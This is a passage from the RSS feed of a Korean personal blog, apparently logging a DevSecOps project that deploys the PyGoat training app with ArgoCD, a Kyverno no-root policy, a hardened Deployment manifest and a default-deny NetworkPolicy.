&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,2,0&quot;&gt;비밀번호&lt;/b&gt;: 위에서 확인한 문자열 입력&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10&quot;&gt;4. 저장소 등록 (UI 조작):&lt;/b&gt; 로그인 성공 후 왼쪽 메뉴에서 톱니바퀴 아이콘(Settings)을 클릭합니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt;메뉴 진입&lt;/b&gt;: Repositories 선택 후 상단의 CONNECT REPO 클릭&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0&quot;&gt;정보 입력&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;11,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Repository URL: pygoat-config GitHub 주소&lt;/li&gt;
&lt;li&gt;Username: GitHub 아이디&lt;/li&gt;
&lt;li&gt;Password: GitHub에서 발급받은 &lt;b data-index-in-node=&quot;24&quot; data-path-to-node=&quot;11,1,1,2,0&quot;&gt;PAT&lt;/b&gt; 입력&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,2,0&quot;&gt;확인&lt;/b&gt;: 리스트에 등록된 저장소의 CONNECTION STATUS가 Successful로 바뀌는지 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12&quot;&gt;5. 애플리케이션 생성 (배포 설정):&lt;/b&gt; 저장소 연결이 끝나면 왼쪽 상단 Applications 아이콘을 누르고 + NEW APP을 클릭합니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,0&quot;&gt;General&lt;/b&gt;: Application Name 설정 (예: pygoat), Project는 default&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;Sync Policy&lt;/b&gt;: Automatic 체크 (Git 수정 시 자동 배포를 위해)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,2,0&quot;&gt;Source&lt;/b&gt;: 아까 등록한 pygoat-config 저장소 선택 및 매니페스트 경로 지정&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,3,0&quot;&gt;Destination&lt;/b&gt;: Cluster URL은 [&lt;a href=&quot;https://kubernetes.default.svc](https://kubernetes.default.svc)&quot;&gt;https://kubernetes.default.svc](https://kubernetes.default.svc)&lt;/a&gt; 선택, Namespace는 배포될 방 이름 지정&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;kyverno 정책 설정&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 가장 기본적이면서 중요한 &lt;b data-index-in-node=&quot;17&quot; data-path-to-node=&quot;7&quot;&gt;&quot;Root 계정 실행 금지&quot;&lt;/b&gt; 정책을 클러스터에 배포, 아래 YAML 내용을 disallow-root.yaml로 저장하고 적용&lt;/p&gt;
&lt;pre id=&quot;code_1778609138496&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-root-user
spec:
  validationFailureAction: Enforce # 위반 시 즉시 차단 (Audit은 기록만 남김)
  background: true
  rules:
  - name: check-run-as-non-root
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: &quot;Root 권한 실행은 금지됩니다. runAsNonRoot: true 설정을 추가하세요.&quot;
      pattern:
        spec:
          containers:
          - securityContext:
              runAsNonRoot: true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2&quot;&gt;1. Kyverno의 작동 아키텍처&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;Kyverno는 쿠버네티스의 &lt;b data-index-in-node=&quot;16&quot; data-path-to-node=&quot;3&quot;&gt;Admission Controller&lt;/b&gt; 메커니즘을 활용하여, 모든 리소스 생성/수정 요청을 중간에서 가로채 검사합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;연결 고리 (apiVersion)&lt;/b&gt;: kyverno.io/v1이라는 선언을 통해 쿠버네티스 API 서버가 해당 리소스를 Kyverno 엔진으로 전달하도록 경로를 지정함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;정책 배포 방식&lt;/b&gt;: 보안 요구사항이 생길 때마다 YAML 형태의 ClusterPolicy를 작성하여 kubectl apply로 클러스터에 상시 등록함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;실시간 개입&lt;/b&gt;: ArgoCD가 배포를 시도할 때, Kyverno가 메모리에 등록된 정책과 대조하여 승인(Allow) 또는 거부(Deny)를 결정함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;2. 핵심 정책 구성 요소 (YAML 구조)&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;정책은 크게 매칭(Match)과 &lt;b data-index-in-node=&quot;18&quot; data-path-to-node=&quot;6&quot;&gt;검증(Validate)&lt;/b&gt; 단계로 나뉩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;validationFailureAction&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Enforce: 규정 위반 시 즉시 차단 (보안 가드레일의 핵심).&lt;/li&gt;
&lt;li&gt;Audit: 차단하지 않고 기록만 남김 (정책 적용 전 테스트 용도).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;rules&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;match: 어떤 리소스(예: Pod, Deployment)를 검사할지 정의함.&lt;/li&gt;
&lt;li&gt;validate: 준수해야 할 구체적인 보안 설정(패턴)을 명시함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;워크로드 격리 및 배포 타겟 최적화&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2&quot;&gt;1. 1단계: 클러스터에 네임스페이스 생성 (터미널)&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;가장 먼저 쿠버네티스 클러스터 안에 실제 공간을 마련해야 한다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778611146651&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# pygoat라는 이름의 네임스페이스 생성
kubectl create namespace pygoat&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;2. 2단계: 매니페스트 파일에 연결 설정 (YAML)&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;생성한 네임스페이스와 deployment.yml을 연결하기 위해 metadata 섹션에 이름을 명시한다.&lt;/p&gt;
&lt;pre id=&quot;code_1778611166563&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: pygoat-deployment
  namespace: pygoat  # [연결 포인트] 1단계에서 만든 네임스페이스 이름과 일치해야 함
  labels:
    app: pygoat
# ... 이하 생략&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;3. 3단계: ArgoCD Application 설정 확인&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size16&quot;&gt;이미 ArgoCD에 앱을 등록하셨다면, ArgoCD 설정에서도 목적지 네임스페이스가 일치하는지 확인해야 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;Destination Namespace&lt;/b&gt;: pygoat로 설정되어 있어야 한다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1778611194449&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl patch app pygoat-config -n argocd --type merge -p '{&quot;spec&quot;:{&quot;destination&quot;:{&quot;namespace&quot;:&quot;pygoat&quot;}}}'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;4. 파이프라인 가동&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 파이프라인에 pygoat-config에 접근해서 deployment.yml 내의 이미지태그를 변경하는 파이프라인 추가.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이떄 permission이 content:write를 허용해주고, vault에도 config_repo_pat 환경변수 추가해주기.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778650610349&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# ---------------------------------------------------------
      # 4. GitOps Bridge (ArgoCD Config Update)
      # ---------------------------------------------------------
      - name: Update GitOps Manifest (pygoat-config)
        run: |
          # 1. 배포 설정 저장소 클론 (Vault에서 가져온 GH_TOKEN 활용)
          git clone https://x-access-token:${{ env.CONFIG_REPO_PAT }}@github.com/a4527/pygoat-config.git
          cd pygoat-config/manifests

          # 2. deployment.yml 내의 이미지 태그를 현재 빌드된 IMAGE_TAG로 치환
          # env.IMAGE_TAG 변수를 사용하여 일관성 유지
          sed -i &quot;s|image:${{ env.DOCKERHUB_USERNAME }}/pygoat:.*|image: ${{ env.DOCKERHUB_USERNAME }}/pygoat:${{ env.IMAGE_TAG }}|g&quot; deployment.yml

          # 3. 변경 사항 커밋 및 푸시
          git config --global user.email &quot;devsecops-bot@github.com&quot;
          git config --global user.name &quot;DevSecOps Automation Bot&quot;
          git add deployment.yml
          git commit -m &quot;chore: update pygoat image tag to ${{ env.IMAGE_TAG }} [skip ci]&quot;
          git push origin main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3&quot;&gt;1. DevSecOps 파이프라인 최종 가드레일 흐름&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;이미지 빌드 및 푸시&lt;/b&gt;: GitHub Actions가 최신 코드를 기반으로 Docker 이미지를 빌드하고, 보안 스캔(Trivy/Snyk) 완료 후 레지스트리에 푸시함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;GitOps 브릿지 작동&lt;/b&gt;: 파이프라인이 pygoat-config 저장소의 deployment.yml 내 이미지 태그를 최신 버전으로 자동 업데이트(sed 명령어 및 push).&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;ArgoCD 감지 및 동기화&lt;/b&gt;: ArgoCD가 pygoat-config의 변경 사항을 감지하고, 클러스터의 현재 상태(Desired State)를 갱신하기 위해 컨트롤 플레인(API Server)에 배포 요청을 보냄.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,0&quot;&gt;Kyverno 정책 엔진 개입 (Final Gate)&lt;/b&gt;: 배포 명령이 실제 노드에 전달되기 전, &lt;b data-index-in-node=&quot;53&quot; data-path-to-node=&quot;4,3,0&quot;&gt;Admission Controller 단계&lt;/b&gt;에서 Kyverno가 개입하여 정책 준수 여부(예: Root 실행 금지, 특정 레지스트리만 허용 등)를 실시간 검증함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,4,0&quot;&gt;최종 배포 및 런타임 보호&lt;/b&gt;: 모든 보안 정책을 통과한 컨테이너만 클러스터에 배포되며, 이후 Falco 등을 통한 실시간 위협 탐지 단계로 진입함.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;argocd쪽 pod 생성에서 계속 실패해서&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;kubectl logs -n pygoat -l app=pygoat --previous&lt;/span&gt; 로 로그 확인하면서 계~~~~~~속 수정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;최종 deployment&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778691803651&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: pygoat-deployment
  namespace: pygoat
  labels:
    app: pygoat
spec:
  replicas: 1
  selector:
    matchLabels:
      app: pygoat
  template:
    metadata:
      labels:
        app: pygoat
    spec:
      # [보안] Pod 수준의 보안 컨텍스트 설정
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
        fsGroup: 2000
      containers:
      - name: pygoat
        # [수정] Docker Hub ID를 사용하세요. 
        # 나중에 파이프라인이 이 태그를 자동으로 업데이트할 것입니다.
        image: taemin010/pygoat:359ca0a1223602d8490ffc0738d4eb3e7dca5137
        ports:
        - containerPort: 8000
        resources:
          # [보안] 리소스 제한을 통한 DoS 방어
          requests:
            memory: &quot;64Mi&quot;
            cpu: &quot;250m&quot;
          limits:
            memory: &quot;128Mi&quot;
            cpu: &quot;500m&quot;
        securityContext:
          # [보안] 컨테이너 실행 권한 최소화 (Kyverno 통과 조건)
          privileged: false
          allowPrivilegeEscalation: false
          runAsNonRoot: true
          runAsUser: 1000
          # [보안] 컨테이너 내 파일 변조 방지
          readOnlyRootFilesystem: true 
        volumeMounts:
        - name: tmp-volume
          mountPath: /tmp
        # [수정] 정적 파일 저장을 위한 경로 마운트
        - name: static-volume
          mountPath: /app/staticfiles
          # [수정] /app 전체가 아닌 로그 파일이 생성될 위치만 정밀 마운트
        - name: log-volume
          mountPath: /app/logs
          # [추가] DB 파일 저장을 위한 볼륨 마운트
        - name: db-volume
          mountPath: /app/db
      volumes:
      # [설정] readOnlyRootFilesystem 사용 시 쓰기가 필요한 /tmp를 위해 emptyDir 할당
      - name: tmp-volume
        emptyDir: {}
        # [수정] staticfiles 경로를 위한 메모리 기반 임시 저장소 할당
      - name: static-volume
        emptyDir: {}
        # [추가] 로그 쓰기를 위한 임시 디렉토리 할당
      - name: log-volume
        emptyDir: {}
        # [추가] DB 전용 임시 저장소
      - name: db-volume
        emptyDir: {}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;5. Network Policy&amp;nbsp;&lt;/h3&gt;
&lt;h4 data-path-to-node=&quot;2&quot; data-ke-size=&quot;size20&quot;&gt;1. 네트워크 정책(Network Policy)의 핵심 개념&lt;/h4&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;쿠버네티스의 네트워크 정책은 &quot;포드(Pod) 단위의 화이트리스트 방화벽&quot;입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;기본 상태 (Non-Isolated):&lt;/b&gt; 정책이 없는 네임스페이스 내의 모든 포드는 서로 자유롭게 통신 가능합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;격리 상태 (Isolated):&lt;/b&gt; 특정 포드에 네트워크 정책이 하나라도 적용되는 순간, 그 포드는 &quot;명시적으로 허용하지 않은 모든 통신을 거부&quot;하는 상태로 변합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;라벨 기반 제어:&lt;/b&gt; IP 주소가 아닌, app: pygoat와 같은 라벨(Label)을 기준으로 통신 허용 대상을 결정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size20&quot;&gt;2. 보안 실습 흐름 (Workflow)&lt;/h4&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;제로 트러스트(Zero Trust) 환경을 구축하기 위해 보통 다음 &lt;b data-index-in-node=&quot;38&quot; data-path-to-node=&quot;7&quot;&gt;4단계&lt;/b&gt;로 진행합니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;1단계: Default Deny (모두 차단)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;행동:&lt;/b&gt; pygoat 네임스페이스 내의 모든 인바운드/아웃바운드 트래픽을 막는 정책을 배포합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;결과:&lt;/b&gt; 외부 웹 접속, DNS 질의, DB 연결 등 모든 통신이 끊깁니다. (가장 안전하지만 서비스는 중단된 상태)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10&quot;&gt;2단계: Ingress 허용 (입구 개방)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt;행동:&lt;/b&gt; 사용자가 웹 브라우저를 통해 PyGoat에 접속할 수 있도록 외부(Ingress Controller)에서 들어오는 특정 포트(8000) 트래픽만 허용합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0&quot;&gt;결과:&lt;/b&gt; 사용자가 다시 PyGoat 화면을 볼 수 있게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12&quot;&gt;3단계: Egress 허용 (출구 개방)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,0&quot;&gt;행동:&lt;/b&gt; 앱이 정상 동작하기 위해 꼭 필요한 외부 통신을 허용합니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;13,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,1,0,0&quot;&gt;DNS 허용:&lt;/b&gt; 도메인 주소(예: db-service)를 찾기 위해 kube-system 네임스페이스의 DNS 서버로 나가는 통신 허용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;결과:&lt;/b&gt; 앱 내부의 기능들이 정상적으로 작동하기 시작합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;14&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14&quot;&gt;4단계: 검증 (Validation)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;15&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,0,0&quot;&gt;행동:&lt;/b&gt; kubectl exec를 통해 포드 내부로 들어가서, 허용되지 않은 다른 네임스페이스나 외부 인터넷으로의 통신이 정말로 차단되는지 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 실습&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1. default Deny&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;3&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;Git 저장소 접속:&lt;/b&gt; 현재 ArgoCD가 바라보고 있는 GitHub 리포지토리로 이동합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;파일 생성:&lt;/b&gt; manifests/ 또는 기존 pygoat-deployment.yaml이 있는 디렉토리에 &lt;b data-index-in-node=&quot;57&quot; data-path-to-node=&quot;3,1,0&quot;&gt;network-policy.yaml&lt;/b&gt; 파일을 새로 생성한 후 push&lt;/li&gt;
&lt;/ol&gt;
&lt;pre id=&quot;code_1778694377023&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: pygoat-network-policy
  namespace: pygoat
spec:
  podSelector:
    matchLabels:
      app: pygoat
  policyTypes:
  - Ingress
  - Egress
  
  # [Ingress] 외부(또는 인그레스)에서 PyGoat 8000 포트 접속 허용
  ingress:
  - from: [] # 모든 소스로부터 허용 (실습 편의상)
    ports:
    - protocol: TCP
      port: 8000

  # [Egress] 내부 도메인 해석(DNS)을 위한 통신만 허용
  egress:
  - to:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system
      podSelector:
        matchLabels:
          k8s-app: kube-dns
    ports:
    - protocol: UDP
      port: 53&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10,2,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;서비스 정상 동작 확인:&lt;/b&gt; 브라우저에서 PyGoat 웹 페이지가 잘 뜨는지 확인합니다. (Ingress 정책 검증)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;비인가 통신 차단 확인 (가장 중요):&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Pod 내부로 접속합니다: kubectl exec -it &amp;lt;pygoat-pod-name&amp;gt; -n pygoat -- /bin/sh&lt;/li&gt;
&lt;li&gt;외부 인터넷(예: google.com)으로 핑을 날려봅니다: ping 8.8.8.8 또는 curl google.com&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,1,2,0&quot;&gt;결과:&lt;/b&gt; 통신이 나가지 않고 &lt;b data-index-in-node=&quot;15&quot; data-path-to-node=&quot;9,1,1,2,0&quot;&gt;Timeout&lt;/b&gt;이 발생해야 합니다. (Egress 정책 검증 성공)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;netwokr policy와 무관하게 pygoat 웹페이지도 안 뜨는데 아마 런타임 에러인것 같아서 4주차에서 해결하는걸로.&amp;nbsp;&lt;/p&gt;</description>
      <category>Project/Devsecops</category>
      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/157</guid>
      <comments>https://taemin01.tistory.com/157#entry157comment</comments>
      <pubDate>Sat, 9 May 2026 04:35:28 +0900</pubDate>
    </item>
    <item>
      <title>PyGoat DevSecOps (2)  - 1 [Infra &amp;amp; Secrets Hardening]</title>
      <link>https://taemin01.tistory.com/156</link>
